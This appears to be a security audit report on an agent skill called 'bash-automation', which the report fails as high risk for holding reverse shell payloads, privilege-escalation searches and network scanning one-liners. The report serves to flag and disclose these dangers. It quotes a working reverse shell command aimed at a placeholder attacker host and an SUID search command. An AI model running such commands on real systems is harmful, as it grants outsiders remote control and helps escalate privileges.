bash-automation
Fail
Audited by Gen Agent Trust Hub on Jun 17, 2026
Risk Level: HIGHCOMMAND_EXECUTIONREMOTE_CODE_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: Provision of functional reverse shell payloads.
- The skill contains explicit instructions and code for establishing reverse connections via Bash, Netcat, and Python (e.g.,
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1). These are intended to grant remote command-line access to an external system. - [COMMAND_EXECUTION]: Discovery of privilege escalation vectors.
- The content includes scripts to search for SUID binaries (
find / -perm -4000) and writable directories, which are standard techniques used to escalate user privileges on a host. - [COMMAND_EXECUTION]: Network enumeration and scanning tools.
- Provides one-liners for host discovery (ping sweeps) and port scanning using raw shell features, facilitating unauthorized network reconnaissance.
Recommendations
- AI detected serious security threats
Audit Metadata